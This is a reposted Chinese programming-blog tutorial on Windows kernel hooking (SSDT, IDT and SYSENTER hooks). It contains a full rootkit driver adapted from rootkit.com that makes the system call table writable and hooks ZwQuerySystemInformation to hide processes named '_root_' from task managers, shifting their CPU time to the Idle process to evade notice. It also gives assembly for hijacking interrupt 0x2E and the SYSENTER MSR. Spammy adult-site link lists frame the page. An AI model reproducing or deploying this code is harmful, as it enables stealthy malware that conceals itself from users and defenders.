青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

【HOOK技術深入解析】

Posted on 2009-10-25 12:18 S.l.e!ep.¢% 閱讀(2106) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

【詳細過程】
? 這次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內核層需要驅動,有這方面的基礎最好,如果不會,了解下其中的思路也可以的。
?
? II. SSDT-hook,IDT-hook,sysenter-hook
? 一.SSDT-hook
? (一)一般思路:
? 1.先來了解一下,什么是SSDT
? SSDT既System Service Dispath? Table。在了解他之前,我們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉過來調用了 NT executive 提供的服務。盡管調用了相同的系統服務,但由于子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用 CreateFile(),而要用 POSIX API,則應用程序調用 open() 函數。這兩種應用程序最終都會調用 NT executive 中的 NtCreateFile() 系統服務。
系統組建.jpg
系統組件.JPG
用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然后通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,再如下圖
調用過程.jpg
調用過程.JPG
? 從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那么,哈哈。。。。。。。下來詳細了解一下,SSDT的結構,如下圖:
SSDT.jpg
SSDT.JPG
? KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構是
? typedef struct ServiceDescriptorTable {
? PVOID ServiceTableBase;
? PVOID ServiceCounterTable(0);
? unsigned int NumberOfServices;
? PVOID ParamTableBase;
? }
?
? 其中,
? ServiceTableBase System Service Dispatch Table 的基地址。
? NumberOfServices 由 ServiceTableBase 描述的服務的數目。
? ServiceCounterTable 此域用于操作系統的 checked builds,包含著 SSDT 中每個服務被調用次數的計數器。這個計數器由 INT 2Eh 處理程序 (KiSystemService)更新。
? ParamTableBase 包含每個系統服務參數字節數表的基地址。
? System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4子節長。
? System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
? 還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在于Win32k.sys。在如圖:
? 服務分發.jpg
服務分發.JPG
? 右側的服務分發就通過KeServiceDescriptorTableShadow。
? 那么下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
? 2.Hook前的準備-改變SSDT內存的保護
? 系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是藍臉。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
? (1)改變CR0寄存器的第1位
? Windows對內存的分配,是采用的分頁管理。其中有個CR0寄存器,如下圖:
CR0.jpg
cr0.jpg??
? 其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。SSDT,IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
? (2)通過Memory Descriptor List(MDL)
? 也就是把原來SSDT的區域映射到我們自己的MDL區域中,并把這個區域設置成可寫。MDL的結構:
? typedef struct _MDL {
? struct _MDL *Next;??
? CSHORT Size;??????
? CSHORT MdlFlags;? //關鍵在這里,將來設置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區域就可寫
? struct _EPROCESS *Process;
? PVOID MappedSystemVa;
? PVOID StartVa;
? ULONG ByteCount;
? ULONG ByteOffset;
? } MDL, *PMDL;
? 首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然后把這個MDL結構的flag改成
? MDL_MAPPED_TO_SYSTEM_VA ,那么這個區域就可以寫了。最后把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:
? //先聲明一個System Service Descriptor Table,我們知道SSDT及SSPT都從這個表中指向
? #pragma pack(1)
? typedef struct ServiceDescriptorEntry {
?
????????? unsigned int *ServiceTableBase;
?
????????? unsigned int *ServiceCounterTableBase;
?
????????? unsigned int NumberOfServices;
?
????????? unsigned char *ParamTableBase;
?
? } SSDT_Entry;
?
? #pragma pack()
?
? __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
?
?
? /
? PMDL? g_pmdlSystemCall;
?
? PVOID *MappedSystemCallTable;
? // 代碼
? // 保存原系統調用位置
?
?
?
? // 映射我們的區域
?
? g_pmdlSystemCall = MmCreateMdl(NULL,
?
???????????????????? KeServiceDescriptorTable.ServiceTableBase,
?
???????????????????? KeServiceDescriptorTable.NumberOfServices*4);
?
? if(!g_pmdlSystemCall)
?
???? return STATUS_UNSUCCESSFUL;
?
? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
?
? // 改變MDL的flags
?
? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
?
?????????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
?
?
? //在內存中索定,不讓換出
? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
?
? 現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
? 3.四個有用的宏
? SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導出函數,以Zw*開頭函數的地址,這個函數的返回值就是Nt*函數,Nt*函數的地址就在SSDT中
? SYSCALL_INDEX macro:獲得Zw*函數的地址并返回與之通信的函數在SSDT中的索引。
? 這兩個宏之所以能工作,是因為所有的Zw*函數都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統調用函數在SSDT中的索引。
? HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數的地址,取得他的索引,自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
? 這四個宏具體是:
? #define SYSTEMSERVICE(_func) \
????????? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
?
? #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
?
? #define HOOK_SYSCALL(_Function, _Hook, _Orig )?????? \
?
????????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
?
? #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )? \
?
????????? InterlockedExchange((PLONG)?????????? \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
?????
? 4.小試牛刀:利用SSDT Hook隱藏進程
? 我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由于調用了一個叫ZwQuerySystemInformation的內核函數,具體結構是:
? NTSTATUS NewZwQuerySystemInformation(
? IN ULONG SystemInformationClass,? //如果這值是5,則代表系統中所有進程信息
? IN PVOID SystemInformation,? //這就是最終列舉出的信息,和上面的值有關
? IN ULONG SystemInformationLength, //后兩個不重要
? OUT PULONG ReturnLength)
? 如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
? (1)? 突破SSDT的內存保護,如上所用的MDL方法
? (2)? 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
? (3)? 用上面介紹的宏來交換ZwQuerySystemInformation與我們自己的New*函數
? (4)? 卸載New*函數,完成
? 具體實例:來自Rootkit.com,我做了注釋,代碼也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
??????? unsigned int *ServiceTableBase;
??????? unsigned int *ServiceCounterTableBase; //僅適用于checked build版本
??????? unsigned int NumberOfServices;
??????? unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)? ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//獲得SSDT基址宏
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//獲得函數在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//調換自己的hook函數與原系統函數的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸載hook函數
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//聲明各種結構
struct _SYSTEM_THREADS
{
??????? LARGE_INTEGER?????????? KernelTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? CreateTime;
??????? ULONG?????????????????????????? WaitTime;
??????? PVOID?????????????????????????? StartAddress;
??????? CLIENT_ID?????????????????????? ClientIs;
??????? KPRIORITY?????????????????????? Priority;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ContextSwitchCount;
??????? ULONG?????????????????????????? ThreadState;
??????? KWAIT_REASON??????????? WaitReason;
};

struct _SYSTEM_PROCESSES
{
??????? ULONG?????????????????????????? NextEntryDelta;
??????? ULONG?????????????????????????? ThreadCount;
??????? ULONG?????????????????????????? Reserved[6];
??????? LARGE_INTEGER?????????? CreateTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? KernelTime;
??????? UNICODE_STRING????????? ProcessName;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ProcessId;
??????? ULONG?????????????????????????? InheritedFromProcessId;
??????? ULONG?????????????????????????? HandleCount;
??????? ULONG?????????????????????????? Reserved2[2];
??????? VM_COUNTERS???????????????????? VmCounters;
??????? IO_COUNTERS???????????????????? IoCounters; //windows 2000 only
??????? struct _SYSTEM_THREADS????????? Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
??? LARGE_INTEGER????????? IdleTime;
??? LARGE_INTEGER????????? KernelTime;
??? LARGE_INTEGER????????? UserTime;
??? LARGE_INTEGER????????? DpcTime;
??? LARGE_INTEGER????????? InterruptTime;
??? ULONG????????????? InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????????????????? IN PVOID SystemInformation,
??????????????????????? IN ULONG SystemInformationLength,
??????????????????????? OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
??????????? ULONG SystemInformationCLass,
??????????????????????? PVOID SystemInformation,
??????????????????????? ULONG SystemInformationLength,
??????????????????????? PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION??????? OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER????????? m_UserTime;
LARGE_INTEGER????????? m_KernelTime;


//我們的hook函數,過濾掉以"_root_"開頭的進程
NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{

?? NTSTATUS ntStatus;

?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );

?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // 列舉系統進程鏈表
???? // 尋找以"_root_"開頭的進程
????
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
??????????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr->NextEntryDelta;
??????????? else? // we are last, so make prev the end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so move it forward
????????????? (char *)SystemInformation += curr->NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // Idle process入口
????? {
???????? //? 把_root_進程的時間加給Idle進程,Idle稱空閑時間
?????????
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

???????? // 重設時間,為下一次過濾
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // 列舉系統進程時間
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }

?? }
?? return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
?? DbgPrint("ROOTKIT: OnUnload called\n");

?? // 卸載hook
?? UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

?? // 解索并釋放MDL
?? if(g_pmdlSystemCall)
?? {
????? MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
????? IoFreeMdl(g_pmdlSystemCall);
?? }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
?????????? IN PUNICODE_STRING theRegistryPath)
{
?? // 注冊一個卸載的分發函數,與與應用層溝通
?? theDriverObject->DriverUnload? = OnUnload;

?? // 初始化全局時間為零
?? // 這將會解決時間問題,如果不這樣,盡管隱藏了進程,但時間的消耗會不變,cpu 100%
?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

?? // 儲存舊的函數地址
?? OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

?? // 把SSDT隱射到我們的區域,以便修改它為可寫屬性
?? g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
?? if(!g_pmdlSystemCall)
????? return STATUS_UNSUCCESSFUL;

?? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

?? // 改變MDL的Flags屬性為可寫,既然可寫當然可讀,可執行
?? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

?? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

?? // 用了宏,把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,先突破了SSDT的保護,接著用宏更改了目標函數,下來就剩下具體的過濾任務了
?? HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
?????????????????????????????
?? return STATUS_SUCCESS;
}
?
? 二.IDT hook
? (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下現在的活動,去完成新的任務。一個中斷可以起源于軟件或硬件。比如,出現頁錯誤,調用IDT中的0x0E。或用戶進程請求系統服務(SSDT)時,調用IDT中的0x2E。而系統服務的調用是經常的,這個中斷就能觸發。我們現在就想辦法,先在系統中找到IDT,然后確定0x2E在IDT中的地址,最后用我們的函數地址去取代它,這樣以來,用戶的進程(可以特定設置)一調用系統服務,我們的hook函數即被激發。
? (二)需解決的問題:從上面分析可以看出,我們大概需要解決這幾個問題:
? 1.IDT如何獲取呢?SIDT指令可以辦到,它可以在內存中找到IDT,返回一個IDTINFO結構的地址。這個結構中就含有IDT的高半地址和低半地址。為了方便把這兩個半地址合在一起,我們可以用一個宏。IDTINFO,和宏的結構如下:
? typedef struct
? {
? WORD IDTLimit;
? WORD LowIDTbase;? //IDT的低半地址
? WORD HiIDTbase;??? //IDT的高半地址
? } IDTINFO;
? 方便獲取地址存取的宏
? #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
? 2.IDT有最多256個入口,我們現在要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?
?? #pragma pack(1)
? typedef struct
? {
? WORD LowOffset;?????????? //入口的低半地址
? WORD selector;
? BYTE unused_lo;
? unsigned char unused_hi:5;???? // stored TYPE ?
? unsigned char DPL:2;
? unsigned char P:1;???????? // vector is present
? WORD HiOffset;????????? //入口地址的低半地址
? } IDTENTRY;
? #pragma pack()
? 知道了這個入口結構,就相當于知道了每間房(可以把IDT看作是一排有256間房組成的線性結構)的長度,我們先獲取所有的入口idt_entrys,那么第0x2E個房間的地址也就可以確定了,即idt_entrys[0x2E]。
? 3.如果得到了0x2e的地址,如何用我們的hook地址改寫原中斷地址呢? 見以下核心代碼:
? DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復hook
? #define NT_SYSTEM_SERVICE_INT 0x2e
? //我們的hook函數
? int HookInterrupts()
? {
?
???? IDTINFO idt_info;????????? //SIDT將返回的結構
?
???? IDTENTRY* idt_entries;??? //IDT的所有入口
?
???? IDTENTRY* int2e_entry;??? //我們目標的入口
?
???? __asm{
?
??????? sidt idt_info;???????? //獲取IDTINFO
?
???? }
??? //獲取所有的入口
???? idt_entries =
?
??? (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
? //保存真實的2e地址
???? KiRealSystemServiceISR_Ptr =
??????????????????????????????? MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
?
?????????? idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
?
??
? //獲取0x2E的入口地址
???? int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
?
???? __asm{
?
?????? cli;?????????????????????? // 屏蔽中斷,防止被打擾
?
?????? lea eax,MyKiSystemService; // 獲得我們hook函數的地址,保存在eax
?
?????? mov ebx, int2e_entry;????? // 0x2E在IDT中的地址,ebx中分地高兩個半地址
?
?????? mov [ebx],ax;????????????? // 把我們hook函數的地半地址寫入真是第半地址
?
???? shr eax,16???????????????? //eax右移16,得到高半地址
?
?????? mov [ebx+6],ax;?????????? // 寫入高半地址
?
???? sti;????????????????????? //開中斷
?
???? }
?
???? return 0;
?
? }
具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
? (三)注意點:
? 1.每個處理器都有個IDT,所以對于多CPU一定要注意,所有的IDT都要hook。
? 2.在winxp,win2k3,vsta下失效。
?
? 三.SYSENTRY hook
? 為了性能的考慮,xp后的系統都改用sysentry命令來進入ring0,去調用SSDT中的服務,不再是通過IDT中的 int 2E。這也使得我們hook也變得相對容易了。
? 首先獲得sysentry的地址,然后改之,不用再考慮IDT了。見下面的代碼:
? #include "ntddk.h"
?
? ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
?
? VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
? {
??? DbgPrint("ROOTKIT: OnUnload called\n");
? }
?
? // Hook function
? __declspec(naked) MyKiFastCallEntry()
? {
??? __asm {
????? jmp [d_origKiFastCallEntry]? //這啥都沒做,換成你想干的
????????? }
? }
?
? NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
? {
??? theDriverObject->DriverUnload? = OnUnload;
?
??? __asm {
???????????????????? mov ecx, 0x176????????????????
????? rdmsr????????????????????????? // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址????????????
????? mov d_origKiFastCallEntry, eax //保存原值,以便恢復
????? mov eax, MyKiFastCallEntry???? // hook函數地址
????? wrmsr????????????????????????? // 將hook函數移入IA32_SYSENTER_EIP寄存器
??? }
?
??? return STATUS_SUCCESS;
? }
?
?
?基本的改變數據結構的hook就說到這里,當然還有DKOM這種高級的技術,有興趣的自己去看看吧。


本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/geagle/archive/2007/05/07/1598610.aspx

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲日本成人在线观看| 欧美激情视频一区二区三区在线播放| 久久―日本道色综合久久| 99国产麻豆精品| 欧美国产亚洲视频| 久久人人九九| 久久只精品国产| 巨乳诱惑日韩免费av| 久久久www成人免费无遮挡大片| 久久国产黑丝| 噜噜噜躁狠狠躁狠狠精品视频| 一区二区三区波多野结衣在线观看| 亚洲精品在线免费观看视频| aⅴ色国产欧美| 老妇喷水一区二区三区| 免费日韩av片| 亚洲五月六月| 伊人婷婷欧美激情| 亚洲国产精品va在线看黑人动漫 | 亚洲经典视频在线观看| 最新国产拍偷乱拍精品| 亚洲视频观看| 香蕉精品999视频一区二区 | 亚洲一区欧美二区| 久久久999| 免费一级欧美片在线观看| 国产综合色产在线精品| 亚洲电影专区| 欧美激情第9页| 欧美精品国产一区二区| 99国产一区| 欧美在线999| 欧美激情视频在线播放| 免费永久网站黄欧美| 在线视频精品| 免费不卡中文字幕视频| 亚洲精品美女在线观看| 欧美超级免费视 在线| 国产色视频一区| avtt综合网| 老色鬼久久亚洲一区二区| 久久亚洲国产精品日日av夜夜| 亚洲国产精品久久久久婷婷884| 亚洲国产成人av好男人在线观看| 午夜宅男久久久| 欧美—级高清免费播放| 亚洲视频综合| 欧美一区二区性| 国产精品久久久久9999高清| 在线观看视频一区| 亚洲国产精品久久久久婷婷老年| 亚洲欧美日韩中文视频| 欧美日韩精选| 亚洲日本中文字幕免费在线不卡| 久久久久久成人| 欧美成人在线免费视频| 亚洲男人的天堂在线aⅴ视频| 欧美激情视频在线免费观看 欧美视频免费一| 欧美激情一区二区在线| 亚洲一区二区三区在线| 亚洲欧洲在线看| 久久综合给合久久狠狠色 | 亚洲欧洲在线视频| 亚洲免费视频网站| 欧美日韩在线一区二区三区| 亚洲国产午夜| 亚洲男人av电影| 亚洲精品一区二区三| 免费日韩精品中文字幕视频在线| 欧美视频在线观看视频极品| 老司机一区二区三区| 国产精品多人| 亚洲精品在线视频| 最新日韩在线| 久久久国产精彩视频美女艺术照福利| 亚洲一级免费视频| 欧美国产另类| 在线亚洲精品| 美国成人直播| 91久久精品日日躁夜夜躁国产| 国产精品99久久久久久www| 国产精品乱码| 欧美在线观看视频一区二区| 欧美日韩国产页| 欧美高清在线精品一区| 欧美v亚洲v综合ⅴ国产v| 久久久青草青青国产亚洲免观| 欧美区一区二| 欧美一站二站| 欧美午夜精品| 久久综合久久综合久久| 国产精品久久久久久影视 | 欧美与黑人午夜性猛交久久久| 欧美高清hd18日本| 亚洲国产高清在线观看视频| 91久久一区二区| 牛牛国产精品| 美女啪啪无遮挡免费久久网站| 极品少妇一区二区三区| 91久久精品国产| 亚洲日本电影| 蜜桃久久av一区| 欧美激情一区二区三区在线视频 | 激情成人综合网| 久久精品水蜜桃av综合天堂| 久久亚洲综合网| 亚洲国产日日夜夜| 噜噜噜91成人网| 亚洲激情电影在线| 一区二区三区日韩精品视频| 欧美久久久久久久久| 亚洲区免费影片| 亚洲欧美另类国产| 国产日韩欧美在线一区| 欧美在线观看一区| 日韩午夜av| 国产精品久久久久久久9999| 亚洲视频你懂的| 久久美女性网| 亚洲日本成人网| 欧美午夜在线一二页| 亚洲一区二区精品在线观看| 久久国产日韩欧美| 你懂的国产精品| 亚洲欧洲日产国产综合网| 亚洲手机成人高清视频| 国产精品一区二区欧美| 亚洲国产经典视频| 一区二区三区视频观看| 国产精品女主播| 欧美精品一区二区三区蜜臀| 亚洲一区中文| 久久天天狠狠| 亚洲欧洲精品一区| 欧美黑人在线播放| 欧美丰满少妇xxxbbb| 亚洲欧洲精品一区二区| 亚洲福利在线观看| 亚洲欧美精品suv| 午夜精品久久久久久久99黑人| 国产精品美女久久久免费| 欧美一级理论性理论a| 亚洲一区二区成人在线观看| 国产日韩av在线播放| 久久在线免费视频| 亚洲美女在线观看| 香蕉乱码成人久久天堂爱免费| 亚洲尤物在线视频观看| 在线观看三级视频欧美| 一区二区不卡在线视频 午夜欧美不卡在| 国产精品爱啪在线线免费观看| 欧美中文字幕在线观看| 美国成人直播| 久久久久中文| 欧美视频二区| 91久久久久久久久| 激情欧美一区二区| 欧美制服第一页| 欧美一区二区女人| 欧美日韩国产小视频| 亚洲二区视频在线| 亚洲激情偷拍| 欧美成人一区二区| 亚洲精华国产欧美| 日韩一级黄色大片| 欧美精品一区二区三区蜜臀 | 久久久久久久网| 欧美三级在线播放| 亚洲精品免费在线观看| 一区二区日韩精品| 国产精品爽黄69| 久久久国产视频91| 国产一区二区日韩精品| 久久久久久久综合狠狠综合| 欧美第十八页| 一区二区三欧美| 久久久无码精品亚洲日韩按摩| 国产自产女人91一区在线观看| 亚洲欧美日韩国产中文在线| 久久久免费精品| 亚洲精品偷拍| 国产女人18毛片水18精品| 久久av一区二区三区亚洲| 美女脱光内衣内裤视频久久网站| 亚洲国产精品久久久久| 欧美国内亚洲| 亚洲欧美在线aaa| 亚洲高清免费在线| 久久成人人人人精品欧| 日韩视频在线免费观看| 国产一二三精品| 欧美四级剧情无删版影片| 亚洲免费中文| 一本色道**综合亚洲精品蜜桃冫 | 欧美大胆人体视频| 亚洲天堂视频在线观看| 91久久线看在观草草青青| 亚洲欧美日韩一区在线| 亚洲精品一区二区三区四区高清| 国产欧美亚洲视频|